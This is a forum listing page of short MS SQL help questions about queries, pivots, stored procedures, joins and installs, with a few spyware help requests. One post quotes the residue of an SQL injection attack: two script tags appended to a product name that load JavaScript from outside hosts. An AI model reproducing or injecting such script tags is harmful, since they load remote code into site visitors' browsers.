3,481 Topics

Member Avatar for
Member Avatar for awtz123

hey, im new here and i need help in installing vb.net express edition 2008 in windows virtual pc - win xp, i use win7ultimate anyway. When install, it goes like this. please help i badly need to run it. I have installed MSsql 2000 and 2005 in virtual xp w/ …

Member Avatar for awtz123
0
110
Member Avatar for freshfitz

How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script>

Member Avatar for freshfitz
0
101
Member Avatar for brenn13

gud day.. is it possible to have a database with password? i mean not setting a password for database users, but for the database itself.. i do not want the database users to see what's inside of my tables.. is it possible?? thank you..

0
78
Member Avatar for noob2008

Hi ppl , Need some advise on my SQL coding . i have written some SQL code to draw and compare some data in which i was thrown back with an error of no Select statement after <> or any other expression . Can someone advise me of any walkaround …

Member Avatar for pritaeas
0
76
Member Avatar for lekhanhvinh

I would like to get information of an employee by his EmployeeKey - in my case : LastName, FirstName, Gender, and Title using ASP. Net - C# - then display this information to label (label.Text = return value) The SQL is simple - [code] use AdventureWorksDW SELECT [FirstName], [LastName],[Gender], [Title] …

0
71
Member Avatar for david.1982

Hi Everyone, I'm trying to figure out how to use OPENROWSET to copy data from a local database to a remote one. I am able to query data from the remote table, and update values without issue. Example to update: [CODE] update OPENROWSET('SQLOLEDB', 'www.xxx.yyy.xxx'; 'username'; 'password, 'SELECT * FROM dbname.dbo.tablename') …

0
82
Member Avatar for questionary

Hi. I am trying to load data from text file do table by BULK INSERT query. Command crashes on loading date field from text file to db. In the file there is a column where date is stored in the following format: [B]Mar 18 2008 3:40:25:153PM[/B]. The type of the …

Member Avatar for Geek-Master
0
86
Member Avatar for cjmartin

How can I get the sum of ‘ExpCounter’? I want to end up with Batch_Number and Sum of ExpCounter in my results. [CODE] select batch_number, sum(acount)/aSize as 'ExpCounter' from HMIExpCount2 where aDate >= '03/01/2010' and aDate <= '03/02/2010' and batch_number = '118705' group by batch_number, asize [/CODE] Thanks!

Member Avatar for pritaeas
0
87
Member Avatar for Geek-Master

Has anyone found any documentation on how to properly pass variables from a SQL Table over to another task within the Foreach Loop container? Basically I want to take two columns from a table and pass them into a stored procedure that will be executed within a SQL Task within …

0
243
Member Avatar for princekool

Hi guys; I have a table of books in my DB and each page has a different serial no following each other eg. Page 9 has serial 005065 and 10 has 005066. In my table it only gives me a range of serials as per the book, this is how …

Member Avatar for apegram
0
253
Member Avatar for terdie

hi guys, i have a situation let say a customer orders 3 items item A worth 300 item B worth 100 item C worth 500 He paid in full for items A,B and he paid a partial payment of 250 for item C now I have a receipt for full …

Member Avatar for hbmusic1
0
87
Member Avatar for VIeditorlover

Hi, is there a way how to (in transact sql) catch output from stored procedure which returns set (2 and more) of tables and move through it ??? thanks!

0
98
Member Avatar for terdie

good day guys, I have an order table and some stuffs, and the user can cancel an order. my question is: 1.] what is the best implementation of canceling an order in a database? Im sure I must create a table for canceled order or something right? 2.]Is it appropriate …

Member Avatar for ChrisPadgham
0
94
Member Avatar for tjfitz68

Hello, In this situation, my application can connect to the MSSQL server in one of two ways; via a direct TCP/IP connection (WAN) (IP's filtered using RRAS in 2003 Server) or via a VPN connection. The application will first try to open the connection using the WAN connection string and …

Member Avatar for tjfitz68
0
744
Member Avatar for miss.october

Hi all, I think this is a pretty minor problem, considering that I bought my laptop only a few days ago and haven't really downloaded a lot (only programs that I trust) or visited many websites. Basically, everytime I run Spyware Terminator, it tells me that there is a critical …

Member Avatar for Rıza
0
230
Member Avatar for Peric

I don't have any experiance in this part so I really need someone's help to get start. I have setup for my application in VB.NET...what i need to do (want to do) is next... -create/restore a database that I use for that application (I have database in MSSQL). Maybe I …

Member Avatar for Peric
0
765
Member Avatar for Deedo

I am currently getting search engine redirects with both Yahoo and Google. I have run antispyware programs and the only thing they find is fips.sys which appears to be a Microsoft file and can't be removed. Following is my HijackThis log. Any help would be appreciated. Thanks Logfile of Trend …

Member Avatar for jholland1964
0
289
Member Avatar for Geekitygeek

I wrote a query yesterday and it ran fine. Today i inserted a new record and it has broken my query. Can anyone help me figure out why? Query: [CODE] WITH temp_orgChart (KitID, PartID, Quantity, iteration) AS ( SELECT KitID, PartID, Quantity, 0 FROM ItemParts WHERE KitID = 200185 UNION …

Member Avatar for Geekitygeek
0
103
Member Avatar for KEDAR01

plz hepl me ...... table_1 Name_____Date_________Ptype Keadr____22/2/2010____P Anup_____22/2/2010____P Deepak___22/2/2010____A Keadr____23/2/2010____P Anup_____23/2/2010____L Deepak___23/2/2010____A Keadr____24/2/2010____P Anup_____24/2/2010____P Deepak___24/2/2010____P I want To convert this table as Name_____22/2/2010____23/2/2010_____24/2/2010 Kedar____P____________P_____________P Anup_____P____________L_____________P Deepak___A____________A_____________P my query select * from table_1 PIVOT(MAX(Ptype)FOR[Date]IN([22/2/2010],[23/2/2010],[24/2/2010]))AS p i got result Name_____22/2/2010______23/2/2010______24/2/2010 Kedar Anup Deepak didnt get values in 22/2 ,23/2,24/3 col

0
59
Member Avatar for am_dumb

hy, i have 2 database. DB1 & DB2. i create SP in DB1. in the SP, i want to access table "TBL" in DB2. how can i create that SP?? [CODE] CREATE PROCEDURE test AS BEGIN ?????????? END; [/CODE] Thx,

Member Avatar for am_dumb
0
90
Member Avatar for lucky_ali0926

hi there......... i am using MS SQL i have made a database in MS SQL now i want to export to another computer (pc) ,,,,,, please help me out with this......... thanks

Member Avatar for samaru
0
91
Member Avatar for EddieC

Less than a year after launching its high performance computing strategy, Microsoft finds its [URL= http://www.microsoft.com/hpc/] HPC Server 2008[/URL] near the top of the heap. The Windows Server 2008 derivative placed 23rd on a list of the 500 top-performing supercomputers in the world, as measured by the [URL= http://www.ncsa.uiuc.edu/] National …

Member Avatar for Aamy1980
0
292
Member Avatar for sakhi kul

Hi , I want to create user defined data types in MS SQL 2008, So when I start MS SQL Server Management Studio -> Database here 'Adventure Work' is not appearing. ( I am referring this -http://www.mssqltips.com/tip.asp?tip=1628) how to enable that?:?: or is their any another way to declare user …

Member Avatar for sakhi kul
0
84
Member Avatar for virtualmisc

Hello Friends I wanted to make a same change in over 300 SQL scripts. Is there a way to automate this? Thanks

Member Avatar for samaru
0
89
Member Avatar for NeoKyrgyz

Hi, My project modules are organized in such a way that I have to maintain following Database structure. I've 5 schemas, each containing 20 to 50 tables. Each schema is accosiated with one module of the project. All the tables that are used within more than one modules are kept …

0
131
Member Avatar for NeoKyrgyz

Hi, My project modules are organized in such a way that I have to maintain following Database structure. I've 5 schemas, each containing 20 to 50 tables. Each schema is accosiated with one module of the project. All the tables that are used within more than one modules are kept …

0
164
Member Avatar for princekool

Hi guys; I need your assistance. I am extracting some info from my database and I need difference between two fields of money values. Lets call the fields as Field1,Field2,& Field3. Field1 = Current Balance Field2 = Starting Balance Field3 = Field1 - Field2 From my query, I get Field3 …

Member Avatar for princekool
0
262
Member Avatar for sumangala

Hi,I want to generate unique ID in the database that has the combination of characters and digits. eg. ab111 and next should be ab112 ,ab113 and so on. Can anybody help me?

Member Avatar for samaru
0
78
Member Avatar for Yamazaki

Hello, I'm working on an inventory system for a store that was originally built by MS Access. The database, forms and reports are all MS Access components, and it's a total mess, thus an upgrade needed. I thought of programming the new system with C#, and using MS SQL to …

Member Avatar for Diamonddrake
0
110
Member Avatar for denny42

hello all I have Table1 and table2 table1 design is Name ,varchar amount , decimal table2 design is Name , varchar nominal,decimal how is the statement to find the sum of amount in table1 plus the sum of nominal in table2 ? thank you denny

Member Avatar for denny42
0
90
Member Avatar for koncuk

Hi, MS SQL 2005 I'm trying to write a stored procedure.Weighted average cost related to accounting.An area where the data from one field if the date is 01.01. There is no problem. But history is different from 01/01 with the calculated formula into another value equal to the previous day.If …

0
54
Member Avatar for Cha0sBG

Hello dear daniweb experts, i was searching over the web and couldn't find any good explenation on how to write properly to a Microsoft SQL server database, so i decided to ask the experts here: How to properly write to the sql database: i used this snipped to read: [CODE]//Start …

Member Avatar for rajabhaskar525
0
169
Member Avatar for MSnewbie

I am trying to write my first sproc that inserts values into a table. These values will be entered by the user and stored in a variable . They will then be added to the database. This is what I have come up with so far. I can't seem to …

Member Avatar for yosepha
0
117
Member Avatar for xxmp

I have this table publication_en Field Type related varchar(200) public_area int(11) title text detail text file varchar(200) and i am trying to do this INSERT INTO publication_en (related, public_area , title , detail , file) VALUES ('none','1','&quot;helped&quot;','la' &quot;kajakjajk&quot;','J3.pdf') but it doesn't work any idea why it doesn't work ? Thank …

Member Avatar for xxmp
0
99
Member Avatar for vuyiswamb

Good Day All I have an Sp and UDF. the UDF cant take #tables. so i want to incorporate the functionality that is being provided by the udf and make it part of the code. the first part of my statement creates a solid table that is being used in …

Member Avatar for vuyiswamb
0
214
Member Avatar for NextCom

Many people would probably think this question is stupid, but how can i insert a value that starts with 0 in a Bigint/Numeric/Int field? This would normally not be a problem, just using a varchar field instead, but because of the index speed (this is a very large table with …

Member Avatar for mail2saion
0
94
Member Avatar for hitro456

Hi everyone, I have a query as - [COLOR="Red"]select DateName(Month,Date), avg(NetAmount) as AverageCustomerBill from salesmaster group by DateName(Month,Date)[/COLOR] which gives result as follow - [COLOR="Green"]April 451.5664 August 432.6227 July 441.1437 June 429.9915 May 423.7198 November 407.4123 October 425.1684 September 416.3678[/COLOR] As u can see here Months are not in proper …

Member Avatar for hitro456
0
152
Member Avatar for Paser

the deal is to create trigger(function?) which would send updated value from one table and add to another example: table1 column:AccountID and 2 column: Money table2: column:AccountID and 2 column: Money i create something like this: [code]CREATE TRIGGER money_from_vault ON table1 FOR UPDATE AS DECLARE @Money Int,@AccountID varchar(10) SELECT @Money …

Member Avatar for Paser
0
125
Member Avatar for Saba9

[CODE]select distinct cust.no, cust.branch, cust.name, cust.surname, term.benefit, term.code,tehi.trcode, tehi.trancode, dmhi.trancode, dmd.benefit from cust as cust inner join term as term on cust.rowno = term.rowno_custterm_cust inner join tehi as tehi on term.rowno =tehi.rowno_termtehi_term inner join dmd as dmd on cust.rowno =dmd.rowno_custdmd_cust inner join dmhi as dmhi on dmd.rowno =dmhi.rowno_dmddmhi_dmd group by …

Member Avatar for jbisono
0
105
Member Avatar for scias23

i have supertype-subtype: supertype: document subtype: clearance, sedula this query: [CODE=mssql] SELECT Document.DocNo, (Person.Givenname + SPACE(1) + Person.Middlename + SPACE(1) + Person.Lastname) AS Name, Person.Address, CASE WHEN DATEADD(YEAR, DATEDIFF (YEAR, Person.DOB, CURRENT_TIMESTAMP), Person.DOB) > CURRENT_TIMESTAMP THEN DATEDIFF(YEAR, Person.DOB, CURRENT_TIMESTAMP) - 1 ELSE DATEDIFF(YEAR, Person.DOB, CURRENT_TIMESTAMP) END AS 'Age', Person.Status, Person.Picture, …

Member Avatar for jbisono
0
161
Member Avatar for hitro456

Hi Everyone, I have a query as - [COLOR="Red"]select top 10 bm.name, sum(sd.Amount) as bd from brandmaster bm join lobattributevalue lob on bm.brandid = lob.valueid and bm.lobid = lob.lobid join salesdetail sd on sd.productid = lob.productid where lob.attributeid = 3 group by bm.name order by bd desc[/COLOR] Now In this …

Member Avatar for jbisono
0
106
Member Avatar for scias23

i have a supertype-subtype: supertype: DOCUMENT subtypes: CLEARANCE, TAX CERTIFICATE, RECEIPT, BUSINESS CLEARANCE each clearance subtype may have a TAX CERTIFICATE, how could i join using join? in other words, document>clearance document>tax certificate i want to join document>clearance and document>tax certificate into a SINGLE view help. thanks

Member Avatar for jbisono
0
230
Member Avatar for muthu1802
Member Avatar for muthu1802
-1
87
Member Avatar for sleonard82255

My teenage son was complaining about how slow his internet connection was, and how the connection kept hanging on him, so i asked him to run a complete virus scan, He is running the latest Mcfee VirusScan, which reported that it had detected "New Win32" in the C:\windows\system32\winlogon.exe. It also …

Member Avatar for crunchie
0
678
Member Avatar for strunful

Hi there my first post :), i've started a project that transforms a table from SQL to XML, works like a charm.Now i want to transform from a XML file to database: 1)search if there is a database created(i've done that using try catch) if not create a database XMLReader …

Member Avatar for strunful
0
183
Member Avatar for kained

I am trying to help a friend make a database(and ultimately piece of none commercial software) to determine personality type as part of his thesis. For the formula to work properly a couple of the questions need their values inverted(ie if the person answers 1 the recorded number will have …

Member Avatar for samaru
0
119
Member Avatar for kalpa23

i m using sql 2000 and i have a table with 3 columns ( credit , debit, total) what i want to do is whenever a value is inserted to the credit column it should add that amount to the total column and whenever there is a debit value it …

Member Avatar for apegram
0
124
Member Avatar for geek_till_itMHZ

Iam writing (or trying to write) a simple join query statement in Query Analyzer. As of right now Im getting the error message Ambiguous column name 'categoryID'. My Statement is ; [code=sql]Select categoryID, Max (StockPrice) as maxStockPrice, MIN(StockPrice) as minStockPrice, AVG(StockPrice) as avgStockPrice From Category, InventoryPart Where Category.CategoryID = InventoryPart.CategoryID;[/code] …

Member Avatar for princekool
0
158
Member Avatar for dipankar.

Hello every one i downloaded [B]"microsoft sql server 2005" [/B]and installed it correctly but i m now confused b'coz i can't find [B]Query Analyser[/B].Can any one help me out of the situation .

Member Avatar for dipankar.
0
148
Member Avatar for yuhe

HI, I have a table which has hundreds column which are boolean value. I need select from the table based on passing parameter which column, (will set this column value = true) How i write a store procedure which accept the column name as parameter, then based on this to …

Member Avatar for samaru
0
80

The End.